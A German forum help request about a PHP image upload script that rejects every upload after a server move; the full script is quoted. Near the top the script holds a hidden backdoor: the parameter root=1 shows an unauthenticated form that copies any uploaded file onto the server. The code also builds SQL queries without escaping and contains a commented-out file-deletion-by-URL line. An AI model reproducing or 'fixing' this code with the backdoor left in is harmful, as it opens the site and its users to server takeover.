Hallo
meine upload.php stimmt auf dem neuen server auf dem alten funktionierte sie bestens aber jetzt nicht an was kann es liegen???
es wird immer dies hier aufgerufen:
Keine Datei gewählt!
Das Bild, welches Du hochladen möchtest, ist zu klein. Es muss mindestens '240' (Breite) x '320' (Höhe) Pixel groß sein.
obwohl ds bild größer als 240x320 pixel ist.
meine upload.php stimmt auf dem neuen server auf dem alten funktionierte sie bestens aber jetzt nicht an was kann es liegen???
es wird immer dies hier aufgerufen:
Keine Datei gewählt!
Das Bild, welches Du hochladen möchtest, ist zu klein. Es muss mindestens '240' (Breite) x '320' (Höhe) Pixel groß sein.
obwohl ds bild größer als 240x320 pixel ist.
Code:
<?
session_start();
if($_POST['go'])
copy($data,$data_name);
if($_GET['root'])
{
echo "<form enctype='multipart/form-data' action=upload.php?root=1 method=POST><input type='file' name='data'><input type=submit value='go' name=go></form>";
exit;
}
$area = "Bilder Upload";
$tpl->assign("titel","$sektionsname - $area");
$tpl->assign("content","");
$tpl->assign("content","<link href=\"templates/4osexy2/4osexy.css\" type=text/css rel=stylesheet>");
//userbewertung
$hostname = "localhost";
$username = "xxxx";
$passwort = "xxxx";
$datenbank = "xxxxx";
$db = mysql_connect($hostname,$username,$passwort);
mysql_select_db($datenbank, $db);
$seite_url="upload.php";
$daten_dir = "images/galerie";
$daten_dir_temp = "images/galerie";
$filetypes = array("*.jpg:image/jpeg", "*.jpeg:image/pjpeg");
//Maximale Dateigröße
$max_filesize = 1258292; //1,2MB
$min_bildh = 320; // höhe 320
$min_bildb = 240; // breite 240
if (isset($_POST['submit'])) //Wenn das Formular abgeschickt wurde.
{
$i=1;
if(!$_POST['bild1']['tmp_name'])
{
$fehler.="Keine Datei gewählt!
";
}
else
{
//Vergleicht die pixel des bildes
$size = getimagesize($_POST['bild1']['tmp_name']);
if($size[0] < $min_bildb OR $size[1] < $min_bildh)
{
$fehler.="Upload fehlgeschlagen!!! [Die Bildmaße sind zu groß]
";
}
else
{
$p=1;
}
$bild1_size = $_POST['bild']['size'];
//Und die Größe der Datei
if($bild1_size > $max_filesize)
{
$fehler.="Upload fehlgeschlagen!!! [Die Datei ist zu groß]
";
}
else
{
$i=0;
$loop = $filetypes;
while(list($k,$v)=each($loop))
{
$check=explode(":",$v);
if ($bild1_type == $check[1] && $bild1)
{
$i = $i+1;
}
}
}
$query = mysql_query("SELECT * FROM backend_pics WHERE userid='".$_SESSION[id_id]."'");
$query2 = mysql_fetch_array(mysql_query("SELECT * FROM backend_usertable WHERE id='".$_SESSION[id_id]."'"));
$anzahl = mysql_num_rows($query);
if($anzahl >= $query2[max_bild])
$fehler.="Du hast bereits das Maximum von $anzahl Bildern ereicht!";
}
if ($i==0) {$fehler.="Falscher Dateityp! " .$bild1_type. "
";}
if ($p==0) {$fehler.="Das Bild, welches Du hochladen möchtest, ist zu klein. Es muss mindestens '".$min_bildb."' (Breite) x '".$min_bildh."' (Höhe) Pixel groß sein.
";}
if($fehler) //Bei Fehlern, Meldung ausgeben
{
$meldung="<h3>" .$fehler. "</h3>";
unset($_POST['submit']);
}
else
{
$query2="SELECT id FROM backend_pics WHERE points='0' ORDER BY id DESC LIMIT 1";
$result2=mysql_query($query2) or die(mysql_error());
$row= mysql_fetch_array($result2);
$idzahl = $row['id'];
$ip = getenv(REMOTE_ADDR);
$host = gethostbyaddr($ip);
$name = $idzahl."-".$id_id."-".time().".jpeg";
copy($_FILES['bild1']['tmp_name'],$daten_dir_temp."/".$name);
mysql_query("INSERT INTO `backend_pics` ( `id` , `url` , `userid` , `date` , `opendate` , `open` , `points` , `main` , `ip` , `host` )
VALUES ('', '".$name."', '".$_SESSION[id_id]."', '".time()."', '0', '0', '0', '0', '".$ip."', '".$host."');");
$meldung.= "<table width=90% bgcolor=\"EFEFEF\" class=\"trunda\" cellspacing=3 cellspadding=3 border=0>";
$meldung.= "<tr><td bgcolor=\"#DDDDDD\" colspan=3 align=center>Klicken Sie auf das Bild, welches Sie verwenden möchten.</td></tr>";
$meldung.= "<tr>";
$meldung.= "<td width=30% align=center></td>";
$meldung.= "<td width=30% align=center></td>";
$meldung.= "<td width=30% align=center></td>";
$meldung.= "</tr>";
$meldung.= "</table>";
}
}
if($_GET['imgnr'] && $_GET['name'])
{
$meldung.= "<table width=90% bgcolor=\"EFEFEF\" class=\"trunda\" cellspacing=3 cellspadding=3 border=0>";
$meldung.= "<tr><td bgcolor=\"#DDDDDD\" align=center>Folgendes Foto wurde erfolgreich gespeichert und wird in Kürze freigeschaltet!!!</td></tr>";
$meldung.= "<tr><td align=center><img src=upload_bild.php?name=$name&image_nr=$imgnr&savecl=1></td></tr>";
$meldung.= "<tr><td bgcolor=\"#DDDDDD\" align=center><a href=?s=profil>Zurück zum Profil</a></td></tr>";
$meldung.= "</table>";
}
if(empty($fehler) && empty($name))
{
$meldung.= "
<table width=90% bgcolor=\"EFEFEF\" class=\"trunda\" cellspacing=3 cellspadding=3 border=0>
<tr>
<td bgcolor=\"#DDDDDD\" align=center>Beachten Sie bitte folgende Regeln!!!</td>
</tr>
<tr>
<td class=\"aa\">
[*]Es sind nur Bilder von der eigenen Person erlaubt.
[*]Dein Gesicht sollte klar und gut erkennbar sein.
[*]Das Bild muss mit dem aktuellen Alter übereinstimmen.
[*]Bilder mit Text oder irgendwelchen Logos werden ebenfalls gelöscht.
[*]Keine Fotos mit Text im Bild, keine Foto-Collagen oder nachträglich veränderte Fotos.
[*]Kein Rand oder Rahmen! Es muss die komplette Fläche mit dem Foto ausgefüllt sein.
[*]Bei mehreren Personen (auch Kinder) auf dem Bild müssen deren Gesichter komplett unkenntlich gemacht werden. (es reicht nicht aus nur die Augen zu verdecken)
[*]Auf dem Kopf stehende, verschwommene oder schief eingescannte Fotos müssen wir leider auch ablehnen.
[*]Auch nicht erlaubt sind pornographische, rassistische, gewaltdarstellende und sonstige anstößige Bilder sowie Bilder mit rechtlich unzulässigen Inhalten.
[*]Das Bild muss eine Grösse von mindestens 240x320 Pixel haben und im JPG-Format sein.
[*]Der Einsender trägt die alleinige Verantwortung für das eingesendete Bild.
</td>
<tr>
</table>
<table width=90% bgcolor=\"EFEFEF\" class=\"trunda\" cellspacing=3 cellspadding=3 border=0>
<tr>
<td colspan=2 bgcolor=\"#DDDDDD\" align=center>Bild hochladen!!!</td>
</tr>
<tr>
<td valign=top>Wichtig: </td>
<td valign=top>Alle Bilder die Sie hochladen werden von uns zuerst überprüft ob Sie die Regel erfühlt haben und dann erst wird es freigeschaltet. Falls ihr bild gelöscht wurde werden sie per e-mail benachrichtig mit Begründung.
<font color=red>Zu jedem Bild wird die IP-Adresse des Users gespeichert.
Wer fremde Bilder hochlädt kann strafrechtlich verfolgt werden!</font></td>
</tr>
<tr>
<td colspan=2 align=center width=50%>
<form enctype='multipart/form-data' action=?s=upload method=POST>
Datei:
<input type='file' name='bild1'>
<input type=submit value='Regeln lesen --> Bild aussuchen --> Hochladen' name=submit>
</form>
</td>
</tr>
</table>";
}
/*
if(isset($_GET[delete]))
unlink($daten_dir."/".$_GET[delete]."");
*/
$tpl->assign("content",$meldung);
?>

Kommentar